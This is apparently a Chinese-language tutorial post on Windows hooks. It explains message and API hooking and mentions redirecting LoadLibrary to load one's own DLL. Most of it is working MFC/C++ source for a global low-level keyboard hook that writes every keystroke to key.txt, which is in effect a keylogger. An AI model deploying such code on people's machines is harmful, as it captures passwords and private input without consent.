0x01 hook是什么
Hook,是Windows消息处理机制的一个平台,应用程序可以在上面设置子程序以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
划重点:监视某程序,等一个事件发生,在正常的应该处理这个事件的动作之前,先进行捕获,hook函数先执行这个事件。
0x02 hook的原理
举个例子,弹窗是程序中很常见的一个api(Application Programming Interface,就是开发人员预置的程序接口,使用者可以调用),常见的就是MessageBox函数,那么hook就是,我们把这个API,变为我们的API去执行,执行完我们的代码之后再去执行它的的函数。
其实相当于就是我们在这个API之前,跳转到我们的函数执行了,然后跳转之后,我们执行完毕之后,可以选择是否在跳转回去,但是这里注意,跳转回去则跳转到msg的return处位置即可。eax可以给一个值,让它返回。
利用这个技术,我们可以监控API,比如应用程序会调用loadLibrary,那我们把它Hook了,把Dll路径改成我们的,那加载的就是我们的dll了,当然 Hook的API很多,因为只要是Windows的API都能HOOK
0x03 hook实例-获取键盘输入
说一千道一万,最重要的还是要落实到应用,来看看怎么实现
1.开发环境
windows10,vs2010
2.前期准备
文件——>新建——>项目——>MFC——>MFC应用程序——>应用程序类型选基于对话框——>完成
然后画两个按钮,如图所示
3.程序实现
4.添加库与全局变量
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
//全局变量
HHOOK glhHook = NULL; //安装的鼠标勾子句柄
BOOL g_bCapsLock = FALSE; //大小写锁定键
BOOL g_bShift = FALSE; //shift键
ofstream SaveFile("key.txt");
2.双击hook按钮,对其编程
void CKeyboardHookDlg::OnBnClickedButton1() {
string str = "start:";
SaveFile << str << endl;
glhHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), NULL);
//这里调用SetWindowsHookExA()函数,因为hook的实现不是在DLL中,而是直接在KeyboardHookDlg.cpp中实现,所有第3个参数使用 GetModuleHandle(NULL)
if (glhHook != NULL) {
//AfxMessageBox(L"StartHook成功!");//用于打桩测试
}
else
{
AfxMessageBox(L"StartHook失败!");
}
}
3.双击stophook,对其编程
void CKeyboardHookDlg::OnBnClickedButton2() {
UnhookWindowsHookEx(glhHook);
}
4.在键盘输入了字符,处理这件事
//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
char c[2];
c[1] = 0;
if ((wParam == WM_KEYDOWN) && (HC_ACTION == nCode)) { //有键按下
KBDLLHOOKSTRUCT * keyNum = (KBDLLHOOKSTRUCT *)lParam;
//处理字母大小写
if ((keyNum->vkCode == VK_CAPITAL) || (keyNum->vkCode == VK_LSHIFT) || (keyNum->vkCode == VK_RETURN) || (keyNum->vkCode >= 65 && keyNum->vkCode <= 90)) {
if (!GetKeyState(VK_CAPITAL)) { //如果大写锁定键未被按下
g_bCapsLock = FALSE;
} else {
g_bCapsLock = TRUE;
}
if (GetAsyncKeyState(VK_LSHIFT) & 0x8000) { //如果shift键被按住
g_bShift = TRUE;
} else {
g_bShift = FALSE;
}
if (keyNum->vkCode >= 65 && keyNum->vkCode <= 90) {
BOOL flag = g_bCapsLock^g_bShift;//同假异真
if (flag) {
c[0] = keyNum->vkCode;
} else {
c[0] = keyNum->vkCode + 32;
}
SaveFile << (int)c[0] << " : " << c << endl;
}
}
//处理数字小键盘
else if (keyNum->vkCode == 144 || (keyNum->vkCode >= VK_NUMPAD0 && keyNum->vkCode <= VK_NUMPAD9)) { //144表示数字小键盘锁键
if (GetKeyState(144)) { //如果数字小键盘锁键被按下
int mapKey = keyNum->vkCode - 48;
SaveFile << keyNum->vkCode << " : " << char(mapKey) << endl;
}
} else {
SaveFile << keyNum->vkCode << " : " << char(keyNum->vkCode) << endl;
}
}
return CallNextHookEx(glhHook, nCode, wParam, lParam);
}
5.随后调试,生成解决方案
0x04 运行结果
将生成的MFC程序,移动至任何目录下,随后打开程序,单击hook,随意从键盘输入,观察到本目录出现了key.txt文件,打开看,就是刚才记录的值
成品在这里成品